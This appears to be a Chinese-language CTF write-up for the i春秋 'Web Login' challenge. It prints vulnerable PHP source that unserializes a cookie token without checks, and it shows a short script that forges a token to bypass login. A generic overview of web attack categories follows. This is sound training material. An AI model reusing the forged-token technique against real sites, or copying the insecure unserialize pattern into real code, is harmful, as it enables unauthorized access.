i春秋CTF训练 Web Login

Web Login

题目内容:加油,我看好你

本题由擂主Wfox提供

题目链接请在i春秋申请


访问发现是个登录页面,还以为是爆破弱口令,结果在页面源码里看到一行注释

<!--  test1 test1  -->

在这里插入图片描述

试了一下成功登录,然后重定向到了member.php页面,发现页面里啥也没有

在这里插入图片描述

只能用burpsuite抓包看看了,然后在response的headers里发现可疑参数show

在这里插入图片描述

然后在request的headers里添加一个show参数,值设置为1,发送,页面返回了php源码
在这里插入图片描述

<!-- <?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}
		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}
	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴ ";
		}
	}else{
		header('Location: index.php?error=1');
	}
?> -->(╯‵□′)╯︵┴─┴

重点是构造$login = unserialize(gzuncompress(base64_decode($requset['token'])));只要满足if($login['user'] === 'ichunqiu')就返回flag,主要就是有加密

下面补充点小知识:

  • php的数组
<?php
$array = array(
    "foo" => "bar",
    "bar" => "foo",
);

// 自 PHP 5.4 起
$array = [
    "foo" => "bar",
    "bar" => "foo",
];
?>
  • 题目中判断的$login['user'] === 'ichunqiu'就是数组,所以我们需要命名一个数组$a=array("user" => "ichunqiu"),之后进行加密

  • serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。序列化serialize()就是可以将多个字段的值如 name、vaule、sex、money等存储在数据库表中一个字段里如extend_params,而不用另外开辟那么多字段,使用的时候就要先反序列化extend_params,使用unserialize()函数

  • gzcompress()实现字符串压缩,gzuncompress()实现解压

  • base64_encode()字符串进行base64编码加密,base64_decode() base64解密

  • 题目按执行先后进行了base64解密,gzuncompress解压,unserialize序列化转php,我们需要按照正好相反的顺序构造加密

$a=base64_encode(gzcompress(serialize($a)));

写个php的加密脚本

<?php
$a=array("user" => "ichunqiu");
$a=base64_encode(gzcompress(serialize($a)));
echo $a;
?>

得到输出

eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

在Cookie里添加一个token值即可得到flag

在这里插入图片描述

CTF(Capture The Flag)是一种网络安全竞赛,其中的Web领域涉及到了网页应用程序的漏洞挖掘和利用。下面是CTF Web思维导图的简要解释: CTF Web思维导图主要分为三个方面:Web漏洞类型、漏洞利用技术和解题方法。 Web漏洞类型包括:注入漏洞(如SQL注入、命令注入)、跨站脚本漏洞(XSS)、跨站请求伪造漏洞(CSRF)、文件上传漏洞、路径遍历漏洞等。这些漏洞常见于Web应用程序的开发不规范或配置不当,攻击者可以通过利用这些漏洞来获取无授权的访问或者控制目标系统。 漏洞利用技术主要包括:代码注入(如SQL注入、远程命令执行)、会话劫持与干扰(如会话劫持、会话劫持预防、会话干扰攻击)、文件包含与遍历、信息泄露利用(如敏感信息泄露、漏洞利用)、中间人攻击、点击劫持等。这些技术是攻击者在发现漏洞后利用漏洞实施攻击的具体方法。 解题方法主要包括:寻找目标站点、分析目标站点、漏洞检测与利用、数据包截获与分析、Webshell的利用与部署、绕过访问控制(如绕过IP限制、用户认证绕过)、漏洞修复与防御等。这些方法是CTF比赛中参赛者通过解题来获取Flag的具体步骤。 综上所述,CTF Web思维导图涵盖了Web漏洞类型、漏洞利用技术和解题方法。掌握这些知识和技能能够帮助参赛者更好地分析和利用Web漏洞,从而在CTF比赛中取得优异的成绩。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值